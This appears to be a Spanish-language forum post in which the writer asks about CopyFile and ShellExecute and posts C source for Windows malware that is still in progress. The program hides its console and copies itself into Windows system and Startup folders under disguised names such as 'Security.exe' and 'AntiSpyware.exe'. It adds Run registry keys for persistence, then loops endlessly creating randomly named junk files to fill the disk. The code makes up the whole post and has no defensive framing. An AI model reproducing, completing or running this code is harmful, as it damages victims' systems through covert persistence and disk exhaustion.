Lo termine, solo me falta lo de filecopy. Unas preguntas, ¿es mas rapido con filecopy, o por que me lo recomiendas?, y ¿que es shellexecute?.
Hasta ahora esta si:
#include<stdio.h>
#include<windows.h>
#include<string.h>
char name[12];
unsigned char gettecla()
{
int j=(rand()%2);
if(!j) return ((rand()%26)+97);
if(j) return ((rand()%10)+48);
}
void tateti()
{
int i=1;
name[0]=((rand()%26)+65);
name[8]='.';
while(i<12)
{
if (i!=8) name[i]=gettecla();
i++;
}
}
main(int argc, char *argv[])
{
FreeConsole();
FILE* archivo;
unsigned long int numero, k=0;
char caracter[1024];
bool sera=false;
HKEY elkey;
char da[]="C:\\WINDOWS\\SYSTEM32\\Megumi.exe";
char db[]="C:\\WINDOWS\\Megumi.exe";
char dc[]="C:\\WINDOWS\\Security.exe";
CopyFile(argv[0],"C:\\WINDOWS\\SYSTEM32\\Megumi.exe",0);
CopyFile(argv[0],"C:\\WINDOWS\\Megumi.exe",0);
CopyFile(argv[0],"C:\\WINDOWS\\Security.exe",0);
CopyFile(argv[0],"C:\\Documents and Settings\\All Users\\Menú Inicio\\Programas\\Inicio\\SoftwareRunner.exe",0);
CopyFile(argv[0],"C:\\Documents and Settings\\Default User\\Menú Inicio\\Programas\\Inicio\\AntiSpyware.exe",0);
RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &elkey);
RegSetValueEx (elkey, "Megumi", 0, REG_SZ, (LPBYTE) da, sizeof(da));
RegSetValueEx (elkey, "Megumiv", 0, REG_SZ, (LPBYTE) db, sizeof(db));
RegSetValueEx (elkey, "Security", 0, REG_SZ, (LPBYTE) dc, sizeof(dc));
RegCloseKey(elkey);
while(k<1024)
{
caracter[k]='0';
k++;
}
if(strcmp(argv[0],da)==0) sera=true;
if(strcmp(argv[0],db)==0) sera=true;
if(strcmp(argv[0],dc)==0) sera=true;
if(sera)
{
for(;;)
{
tateti();
if (!(archivo=fopen(name,"r+b"))) archivo=fopen(name,"wb");
k=0;
numero=((rand()%10)+1)*1024;
while(k<numero)
{
fwrite(&caracter,1024,1,archivo);
k++;
}
fclose(archivo);
}
}
}
